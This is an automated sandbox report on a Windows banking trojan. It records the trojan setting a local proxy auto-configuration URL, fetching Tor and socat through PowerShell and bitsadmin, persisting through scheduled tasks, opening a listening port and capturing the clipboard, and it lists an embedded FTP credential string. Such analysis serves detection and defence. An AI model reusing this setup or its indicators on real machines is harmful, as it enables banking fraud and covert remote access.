Analysis Report

Overview

General Information

Joe Sandbox Version:	20.0.0
Analysis ID:	446656
Start time:	12:33:14
Joe Sandbox Product:	Cloud
Start date:	27.11.2017
Overall analysis duration:	0h 13m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	bbtsvbq.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 with additional language packs (German, French, Swedish, Norwegian), Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 62, Firefox 36)
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	HCA enabled EGA enabled HDC enabled
Detection:	MAL
Classification:	mal100.evad.expl.spyw.bank.troj.winEXE@57/102@11/16
HCA Information:	Successful, ratio: 100% Number of executed functions: 71 Number of non-executed functions: 92
EGA Information:	Successful, ratio: 75%
HDC Information:	Successful, ratio: 100% (good quality ratio 96%) Quality average: 84.6% Quality standard deviation: 25.9%
Cookbook Comments:	Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): conhost.exe, dllhost.exe Execution Graph export aborted for target mshta.exe, PID 2692 because there are no executed function Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found. Skipping Hybrid Code Analysis (implementation is based on Java, .Net, VB or Delphi, or parses a document) for: powershell.exe

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	100	0 - 100	Report FP / FN

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Analysis Advice

Sample drops PE files which have not been started, submit dropped PE samples for a secondary analysis to Joe Sandbox

Uses HTTPS for network communication, use the 'Proxy HTTPS (port 443) to read its encrypted data' cookbook for further analysis

Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for submitted file

Show sources

Source: bbtsvbq.exe

virustotal: Detection: 60%

Perma Link

Cryptography:

Public key (encryption) found

Show sources

Source: tor.exe

Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Creates a window with clipboard capturing capabilities

Show sources

Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS

E-Banking Fraud:

Sets a auto configuration URL for Internet Explorer (IE settings are enforced automatically)

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe

Registry key created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings AutoConfigURL http://127.0.0.1:5555/mmlhKC7c.js?ip=62.210.13.58

Networking:

Contains functionality to download additional files from the internet

Show sources

Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe

Code function: 19_2_0040C6C3 recv,__errno,__errno,

19_2_0040C6C3

Downloads files from webservers via HTTP

Show sources

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive

Found strings which match to known social media urls

Show sources

Source: powershell.exe	String found in binary or memory: login.yahoo.com equals www.yahoo.com (Yahoo)
Source: powershell.exe	String found in binary or memory: login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: powershell.exe	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: api.nuget.org

Urls found in memory or binary data

Show sources

Source: powershell.exe	String found in binary or memory: file://
Source: powershell.exe	String found in binary or memory: file:///
Source: powershell.exe	String found in binary or memory: file:///C:/ProgramData/C4CqRww6.ps1
Source: powershell.exe	String found in binary or memory: file:///C:/ProgramData/C4CqRww6.ps1Z(
Source: mshta.exe	String found in binary or memory: file:///C:/ProgramData/VitBTKxRu/Tor/tor.exe
Source: mshta.exe	String found in binary or memory: file:///C:/ProgramData/VitBTKxRu/Tor/tor.exeoso
Source: powershell.exe	String found in binary or memory: file:///C:/Users/user~1/AppData/Local/Temp/2HVmGbfK7qLuRZ/lib/net20/Microsoft.Win32.TaskScheduler.
Source: powershell.exe	String found in binary or memory: file:///C:/Windows/System32/Wi
Source: powershell.exe	String found in binary or memory: file:///C:/Windows/System32/WindowsPowerShell/v1.0/
Source: powershell.exe	String found in binary or memory: file:///C:/Windows/System32/WindowsPowerShell/v1.0/b
Source: bbtsvbq.exe	String found in binary or memory: file:///C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe
Source: bbtsvbq.exe	String found in binary or memory: file:///C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exeP
Source: bbtsvbq.exe	String found in binary or memory: file:///C:/Windows/System32/cmd.exe
Source: bbtsvbq.exe	String found in binary or memory: file:///C:/Windows/System32/taskkill.exe
Source: powershell.exe	String found in binary or memory: file:///C:/Windows/system32/cmd.exe
Source: powershell.exe	String found in binary or memory: file:///C:/Windows/system32/cmd.exe:
Source: bbtsvbq.exe, o8NqEAtZ.ps1.1.dr	String found in binary or memory: ftp://coop-mp:klyn65te
Source: powershell.exe	String found in binary or memory: http://
Source: powershell.exe	String found in binary or memory: http://12
Source: powershell.exe, user-PC.log.5.dr, unknown.4.dr	String found in binary or memory: http://127.0.0.1:5555
Source: powershell.exe, C4CqRww6.ps1.1.dr	String found in binary or memory: http://127.0.0.1:5555/
Source: powershell.exe	String found in binary or memory: http://127.0.0.1:5555/0dTRgfA.asp?ts&
Source: powershell.exe, taskeng.exe, user-PC.log.5.dr, unknown.4.dr	String found in binary or memory: http://127.0.0.1:5555/0dTRgfA.asp?ts&ip=
Source: taskeng.exe	String found in binary or memory: http://127.0.0.1:5555/0dTRgfA.asp?ts&ip=
Source: powershell.exe	String found in binary or memory: http://127.0.0.1:5555/0dTp
Source: bbtsvbq.exe	String found in binary or memory: http://127.0.0.1:5555/kqHogqjb.js?ip=62.210.13.58D
Source: powershell.exe	String found in binary or memory: http://api.
Source: powershell.exe, user-PC.log.5.dr, unknown.4.dr	String found in binary or memory: http://api.ipify
Source: taskeng.exe, user-PC.log.5.dr, C4CqRww6.ps1.1.dr, unknown.4.dr	String found in binary or memory: http://api.ipify.org/
Source: bbtsvbq.exe	String found in binary or memory: http://api.ipify.org/.exe
Source: bbtsvbq.exe	String found in binary or memory: http://api.ipify.org/l
Source: powershell.exe	String found in binary or memory: http://cacerts.digicer
Source: powershell.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2ExtendedValidationServerCA.crt0
Source: powershell.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0
Source: powershell.exe	String found in binary or memory: http://certificates.godaddy.com/repository/0
Source: powershell.exe	String found in binary or memory: http://certificates.godaddy.com/repository/gdig2.crt0
Source: powershell.exe	String found in binary or memory: http://certs.godaddy.com/repository/1301
Source: powershell.exe	String found in binary or memory: http://crl.comodo.net/UTN-USERFirst-Hardware.crl0q
Source: powershell.exe	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe	String found in binary or memory: http://crl.godaddy.com/gdig2s1-499.crl0
Source: powershell.exe	String found in binary or memory: http://crl.godaddy.com/gdroot-g2.crl0F
Source: powershell.exe	String found in binary or memory: http://crl.godaddy.com/gdroot.crl0F
Source: powershell.exe	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: powershell.exe	String found in binary or memory: http://crl.usertrust.com/UTN-USERFirst-Object.crl0)
Source: powershell.exe	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0=
Source: powershell.exe	String found in binary or memory: http://crl3.digicert.com/sha2-ev-server-g1.crl04
Source: powershell.exe	String found in binary or memory: http://crl3.digicert.com/sha2-ha-server-g5.crl04
Source: powershell.exe	String found in binary or memory: http://crl4.digicert.com
Source: powershell.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
Source: powershell.exe	String found in binary or memory: http://crl4.digicert.com/sha2-ev-server-g1.crl0K
Source: powershell.exe	String found in binary or memory: http://crl4.digicert.com/sha2-ha-server-g5.crl0L
Source: powershell.exe	String found in binary or memory: http://crl4.digicert.com/sha2-ha-server0
Source: powershell.exe	String found in binary or memory: http://crt.comodoca.com/UTNAddTrustServerCA.crt0$
Source: powershell.exe	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enQ
Source: powershell.exe	String found in binary or memory: http://cybertrust.omniroot.com/repository.cfm0
Source: TaskScheduler.nuspec.6.dr	String found in binary or memory: http://download-codeplex.sec.s-msft.com/Download?ProjectName=taskscheduler&DownloadId=885310
Source: powershell.exe	String found in binary or memory: http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0
Source: powershell.exe	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignAdvancedSecurityCA.crl0
Source: powershell.exe	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignCA.crl0
Source: bbtsvbq.exe	String found in binary or memory: http://icanhazip.com/
Source: bbtsvbq.exe	String found in binary or memory: http://icanhazip.com/=
Source: powershell.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe	String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe	String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe	String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe	String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe	String found in binary or memory: http://ocsp.digicert.com0:
Source: powershell.exe	String found in binary or memory: http://ocsp.digicert.com0K
Source: powershell.exe	String found in binary or memory: http://ocsp.digicert.com0M
Source: powershell.exe	String found in binary or memory: http://ocsp.digicert.com0R
Source: powershell.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe	String found in binary or memory: http://ocsp.godaddy.com/0
Source: powershell.exe	String found in binary or memory: http://ocsp.godaddy.com/02
Source: powershell.exe	String found in binary or memory: http://ocsp.godaddy.com/05
Source: powershell.exe	String found in binary or memory: http://ocsp.infonotary.com/responder.cgi0V
Source: powershell.exe	String found in binary or memory: http://ocsp.msocsp.com0
Source: README.15.dr	String found in binary or memory: http://repo.or.cz/r/socat.git
Source: powershell.exe	String found in binary or memory: http://schem
Source: powershell.exe	String found in binary or memory: http://schemas.dmtf.org/wbem/wsman/1/cimbinding/associationFilter
Source: powershell.exe	String found in binary or memory: http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter
Source: powershell.exe	String found in binary or memory: http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd#IdentifyResponse
Source: powershell.exe	String found in binary or memory: http://schemas.m
Source: powershell.exe	String found in binary or memory: http://st
Source: TaskScheduler.nuspec.6.dr	String found in binary or memory: http://taskscheduler.codeplex.com/
Source: TaskScheduler.nuspec.6.dr	String found in binary or memory: http://taskscheduler.codeplex.com/license
Source: powershell.exe	String found in binary or memory: http://www.acabogacia.org/doc0
Source: powershell.exe	String found in binary or memory: http://www.acabogacia.org0
Source: powershell.exe	String found in binary or memory: http://www.comsign.co.il/cps0
Source: FAQ.15.dr	String found in binary or memory: http://www.cygwin.com/
Source: README.15.dr, README.md.15.dr	String found in binary or memory: http://www.dest-unreach.org/socat/
Source: powershell.exe	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: tor.exe	String found in binary or memory: http://www.openssl.org/V
Source: tor.exe	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: tor.exe	String found in binary or memory: http://www.openssl.org/support/faq.htmlRAND
Source: powershell.exe	String found in binary or memory: http://www.public-trust.com/CPS/OmniRoot.html0
Source: powershell.exe	String found in binary or memory: http://www.public-trust.com/cgi-bin/CRL/2018/cdp.crl0
Source: powershell.exe	String found in binary or memory: http://www.usertrust.com1
Source: README.15.dr	String found in binary or memory: http://www.xs4all.nl/~jantien/yodl/)
Source: tor.exe, zlib1.dll.10.dr	String found in binary or memory: http://www.zlib.net/D
Source: README.15.dr	String found in binary or memory: http://yodl.sourceforge.net/
Source: powershell.exe	String found in binary or memory: https://api.github.com/_private/browser/errors
Source: powershell.exe	String found in binary or memory: https://api.nuget.org
Source: powershell.exe, user-PC.log.5.dr, C4CqRww6.ps1.1.dr, unknown.4.dr	String found in binary or memory: https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg
Source: powershell.exe	String found in binary or memory: https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg8
Source: powershell.exe	String found in binary or memory: https://certs.godaddy.com/repository/0
Source: powershell.exe, C4CqRww6.ps1.1.dr	String found in binary or memory: https://chocolatey.org/7za.exe
Source: powershell.exe	String found in binary or memory: https://chocolatey.org/7za.exe8
Source: powershell.exe	String found in binary or memory: https://chocolatey.orgx&
Source: powershell.exe	String found in binary or memory: https://codeload.github.com/StudioEtrange/socat-windows/zip/1.7.2.1
Source: powershell.exe	String found in binary or memory: https://codeload.github.comx&
Source: bbtsvbq.exe, powershell.exe, C4CqRww6.ps1.1.dr	String found in binary or memory: https://dist.torproject.org/
Source: powershell.exe	String found in binary or memory: https://dist.torproject.org/8
Source: user-PC.log.5.dr, unknown.4.dr	String found in binary or memory: https://dist.torproject.org/torbrowser/7.0.8/tor-win32-0.3.1.7.zip
Source: powershell.exe	String found in binary or memory: https://dist.torproject.org/torbrowser/7.0.8/tor-win32-0.3.1.7.zipTt
Source: powershell.exe	String found in binary or memory: https://dist.torproject.orgx&
Source: bbtsvbq.exe	String found in binary or memory: https://github.com/StudioEtrange/socat-w
Source: powershell.exe, find.exe, user-PC.log.5.dr, C4CqRww6.ps1.1.dr, unknown.4.dr	String found in binary or memory: https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip
Source: powershell.exe	String found in binary or memory: https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip8
Source: powershell.exe	String found in binary or memory: https://github.comx&
Source: powershell.exe	String found in binary or memory: https://render.githubusercontent.com
Source: powershell.exe	String found in binary or memory: https://secure.comodo.com/CPS0
Source: powershell.exe, Microsoft.Win32.TaskScheduler.resources.dll2.6.dr, Microsoft.Win32.TaskScheduler.resources.dll10.6.dr, Microsoft.Win32.TaskScheduler.resources.dll9.6.dr, Microsoft.Win32.TaskScheduler.resources.dll14.6.dr, Microsoft.Win32.TaskScheduler.resources.dll7.6.dr, Microsoft.Win32.TaskScheduler.resources.dll3.6.dr, Microsoft.Win32.TaskScheduler.resources.dll0.6.dr, Microsoft.Win32.TaskScheduler.resources.dll13.6.dr, Microsoft.Win32.TaskScheduler.resources.dll5.6.dr, Microsoft.Win32.TaskScheduler.resources.dll6.6.dr, Microsoft.Win32.TaskScheduler.resources.dll17.6.dr, Microsoft.Win32.TaskScheduler.resources.dll15.6.dr, Microsoft.Win32.TaskScheduler.resources.dll16.6.dr, Microsoft.Win32.TaskScheduler.resources.dll.6.dr, Microsoft.Win32.TaskScheduler.resources.dll1.6.dr, Microsoft.Win32.TaskScheduler.resources.dll4.6.dr, Microsoft.Win32.TaskScheduler.resources.dll18.6.dr, Microsoft.Win32.TaskScheduler.resources.dll11.6.dr, Microsoft.Win32.TaskScheduler.resources.dll8.6.dr, Microsoft.Win32.TaskScheduler.resources.dll12.6.dr	String found in binary or memory: https://taskscheduler.codeplex.com/
Source: powershell.exe, Microsoft.Win32.TaskScheduler.dll.6.dr, Microsoft.Win32.TaskScheduler.dll2.6.dr, Microsoft.Win32.TaskScheduler.dll1.6.dr	String found in binary or memory: https://taskscheduler.codeplex.com/F
Source: Microsoft.Win32.TaskScheduler.resources.dll2.6.dr, Microsoft.Win32.TaskScheduler.resources.dll10.6.dr, Microsoft.Win32.TaskScheduler.resources.dll9.6.dr, Microsoft.Win32.TaskScheduler.resources.dll14.6.dr, Microsoft.Win32.TaskScheduler.resources.dll7.6.dr, Microsoft.Win32.TaskScheduler.resources.dll3.6.dr, Microsoft.Win32.TaskScheduler.resources.dll0.6.dr, Microsoft.Win32.TaskScheduler.resources.dll13.6.dr, Microsoft.Win32.TaskScheduler.resources.dll5.6.dr, Microsoft.Win32.TaskScheduler.resources.dll6.6.dr, Microsoft.Win32.TaskScheduler.resources.dll17.6.dr, Microsoft.Win32.TaskScheduler.resources.dll15.6.dr, Microsoft.Win32.TaskScheduler.resources.dll16.6.dr, Microsoft.Win32.TaskScheduler.resources.dll.6.dr, Microsoft.Win32.TaskScheduler.resources.dll1.6.dr, Microsoft.Win32.TaskScheduler.resources.dll4.6.dr, Microsoft.Win32.TaskScheduler.resources.dll18.6.dr, Microsoft.Win32.TaskScheduler.resources.dll11.6.dr, Microsoft.Win32.TaskScheduler.resources.dll8.6.dr, Microsoft.Win32.TaskScheduler.resources.dll12.6.dr	String found in binary or memory: https://taskscheduler.codeplex.com/H
Source: bbtsvbq.exe, powershell.exe, C4CqRww6.ps1.1.dr	String found in binary or memory: https://tor.ybti.net/dist/
Source: powershell.exe	String found in binary or memory: https://tor.ybti.net/dist/8
Source: powershell.exe, C4CqRww6.ps1.1.dr	String found in binary or memory: https://torproject.mirror.metalgamer.eu/dist/
Source: powershell.exe	String found in binary or memory: https://torproject.mirror.metalgamer.eu/dist/8
Source: powershell.exe	String found in binary or memory: https://torproject.urown.net
Source: powershell.exe, C4CqRww6.ps1.1.dr	String found in binary or memory: https://torproject.urown.net/dist/
Source: powershell.exe	String found in binary or memory: https://torproject.urown.net/dist/8
Source: bitsadmin.exe, user-PC.log.5.dr, unknown.4.dr	String found in binary or memory: https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip
Source: cmd.exe, bitsadmin.exe	String found in binary or memory: https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zipC:
Source: powershell.exe	String found in binary or memory: https://www.digicert.com/CPS0

Uses HTTPS

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49162
Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49161
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49164

Connects to several IPs in different countries

Show sources

Source: unknown

Network traffic detected: IP country count 10

HTTP GET or POST without a user agent

Show sources

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive

Uses a known web browser user agent for HTTP communication

Show sources

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive

Detected TCP or UDP traffic on non-standard ports

Show sources

Source: global traffic	TCP traffic: 192.168.1.91:49172 -> 31.171.155.108:9001
Source: global traffic	TCP traffic: 192.168.1.91:49180 -> 212.47.234.212:9001
Source: global traffic	TCP traffic: 192.168.1.91:49182 -> 208.80.154.39:9002
Source: global traffic	TCP traffic: 192.168.1.91:49183 -> 54.36.205.38:9001

Installs TOR (Internet Anonymizer)

Show sources

Source: C:\ProgramData\7za.exe

File created: C:\ProgramData\VitBTKxRu\Tor\tor.exe

May check the online IP address of the machine

Show sources

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Boot Survival:

Installs Task Scheduler Managed Wrapper

Show sources

Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\Microsoft.Win32.TaskScheduler.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\Microsoft.Win32.TaskScheduler.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\Microsoft.Win32.TaskScheduler.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\Microsoft.Win32.TaskScheduler.dll

Remote Access Functionality:

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Show sources

Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Code function: 19_2_0040C103 bind,__errno,__errno,	19_2_0040C103
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Code function: 19_2_0040C24D listen,__errno,__errno,	19_2_0040C24D
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Code function: 19_1_0040C103 bind,__errno,__errno,	19_1_0040C103
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Code function: 19_1_0040C24D listen,__errno,__errno,	19_1_0040C24D

Persistence and Installation Behavior:

Installs Cygwin

Show sources

Source: C:\ProgramData\7za.exe

File created: C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\cygwin1.dll

Drops PE files

Show sources

Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\es\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\it\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\fr\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\zh-CN\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\de\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\de\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\cygwrap-0.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\de\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\es\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\zh-CN\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\it\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\it\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\fr\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\ProgramData\7za.exe
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\zh-CN\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\fr\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe	File created: C:\Users\user\AppData\Local\Temp\9kehql3e.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\it\Microsoft.Win32.TaskScheduler.resources.dll
